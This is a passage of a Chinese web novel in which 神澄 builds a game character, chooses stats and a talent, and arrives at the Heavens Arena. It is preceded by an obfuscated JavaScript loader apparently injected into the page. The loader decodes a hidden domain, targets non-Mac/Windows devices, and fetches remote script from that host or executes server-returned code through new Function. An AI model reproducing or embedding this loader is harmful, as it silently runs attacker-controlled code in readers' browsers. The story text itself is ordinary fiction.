function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{
c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){
var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");
while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';
if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};
在现实里……神澄认为决定性因素也不是性别,而是由不同个体的体脂率、骨骼密度、质量、战斗技巧等综合因素共同决定的。
年龄则是拉到最小,15。
从之前的介绍中神澄就看出来了,在这个游戏里,年龄越小,初始属性值就越低,但是好处就是越有发展潜力。
然后如同心理测试一般回答了一连串的问题。
最后建立出的人物属性表是这样的。
人物:密丝特莉
性别:女
年龄:15
阵营:中立(无特殊立场加成)
力:10
敏:13
体:9
精:15
(普通人数值区间为1015)
没有特别大的短板,也没有特别出众之处。
是普通的十五岁女性人类该有的属性。
关于这些属性,神澄可以大致这样理解:
力等于攻击强度,敏是移动速度和攻击速度,体是血条防御力以及异常状态抗性。
精……一般网游里是用“智力”或者“精神”来描述的,往往代表蓝条。
这里的话估计和之前视频里看到的奇怪能力有关联。
除此之外,根据之前的“心理测试”,给出了三个天赋技能,三选一。
[枪系专精]:使用冷兵器分类下的枪类武器时额外追加20%的伤害。
[狂乱收割]:生命值低于50%时伤害增加25%,生命值低于20%时移动速度增加25%。
[潜能激发]:每次获取的可分配属性值额外+20%。
神澄其实不在意使用什么武器,但是枪的话就免了,就当她是迷信二次元铁律吧……
反正神澄还不想沦落到幸运e的地步。
同样,选择第二个天赋,就变相转职了狂战士职业。
神澄对狂战士这个职业没有什么偏见,玩得好的人自然也很强,只是和神澄的稳健作风不太相符。
……在大多数对战中,她不会让自己的血线低于50%。
所以这个天赋是废的。
所以她选潜能激发,可以堆点基础数值。
人物的创建差不多就到这里了。
屏幕一亮,背景转成高楼大厦的现代都市,人来人往,一座高耸的建筑物直插云端。
游戏采用的是第一视角。
神澄并不能看到密丝特莉的身形样貌,只能通过她的眼睛看到周边的环境。
游戏小能手当然不晕3d。
她调整了一下方向,发现屏幕右侧出现了一个鎏金石碑,上书“天空竞技场”五个字。
现在游戏人物密丝特莉显然就站在这座格斗家圣地的门前。
神澄想了想,掉转方向,沿着马路朝别的方向去了,一路上看见的尽是大都市商圈的繁华景色,有很多卖天空竞技场录像带和选手周边的。